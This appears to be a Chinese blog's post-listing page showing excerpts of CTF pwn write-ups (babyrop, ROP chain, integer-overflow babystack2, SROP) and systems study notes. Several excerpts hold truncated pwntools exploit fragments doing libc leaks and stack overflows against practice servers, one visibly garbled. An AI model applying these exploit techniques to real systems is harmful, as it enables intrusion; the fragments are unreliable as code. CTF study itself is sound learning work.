- 博客(7)
- 收藏
- 关注
原创 bjdctf_2020_babyrop 与bjdctf_2020_babyrop2(格式化字符leak)
bjdctf_2020_babyrop先checksec打开ida正常查看函数打开init函数发现puts函数然后进入vuln函数 存在栈溢出没有看到后门函数应该是libc leak+rop代码如下from pwn import*from LibcSearcher import*p=remote('node3.buuoj.cn',29901)#p=process('')elf=ELF('bjdctf_2020_babyrop')puts_got=elf.got['puts']p
2021-04-06 16:10:11 423 2
原创 picoctf_2018_rop chain
先进行检查 32位打开ida查看一下 vuln 函数存在溢出可以利用又看到函数表有flag函数 win1 win2 和a1 存在条件 需要控制这3个参数变量注意:0xBAAAAAAD是-1163220307对应的16进制的补码作为win_function2函数的参数下面的 0xDEADBAAD是-559039827对应的16进制的补码作为flag函数的参数(我都已经在ida中转化)之后又看到win1 win2最后写下脚本from pwn import*from LibcSearcher
2021-03-29 21:47:08 171 1
原创 babyrop2
from LibcSearcher import *#p = process('./babyrop2')p = remote('node3.buuoj.cn',27575)elf = ELF('babyrop2')pop_rdi = 0x400733pop_rsi_r15 = 0x400731 format_str = 0x400770 ret_addr = 0xbaby400734byaprintf_plt = elf.plt['printf']read_got = elf.go
2021-03-29 17:33:50 123
原创 bjdctf_2020_babystack2同stack1(整数溢出)
首先检查一下打开ida看一下(int)nbytes是signed int类型 后面read 的是unsigned int 类型 这里想到整数溢出 可以传输一个负数使其溢出下面是我的脚本from pwn import*from LibcSearcher import*p=remote('node3.buuoj.cn','26189')p.sendline('-121311')#此处可以随意写入一个负数payload='a'*0x18+p64(0x400726)p.sendline(paylo
2021-03-28 21:08:13 271
原创 pwn ciscn_2019_s_3
pwn ciscn_2019_s_3(srop)checksec一下发现是64位文件并只开了NX保护打开IDA 进入main函数直接转到vuln(可以看到明显栈溢出var_10距离rpb 0x10)发现有两个系统调用号,系统调用号的传参方式是先将调用号传入rax,然后参数依次从左至右传入rdi,rsi,rdx寄存器中,最后返回值存入rax看到最后有点奇怪开始时pop rbp mov rbp,rsp程序结束的时候直接是:retn(pop rip) 这里直接就跳出vuln函数了所以r
2021-03-23 21:37:54 188
原创 计算机系统学习笔记及pwn做题心得(1)
计算机系统学习笔记及pwn做题心得(1)计算机系统1编译系统分四个阶段完成,预处理器、编译器、汇编器、链接器一起构成了编译系统操作系统的基本功能:1 防止硬件被失控的应用程序滥用 2 向应用程序提供一些简单一致的机制来控制复杂而又通常大不相同的低级硬件设备计算机执行.c文件的过程 :.c >>.i >>.s >>.o >>执行系统硬件:总线(传输字) I/O设备 主存(临时...
2021-03-19 16:51:30 188 1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人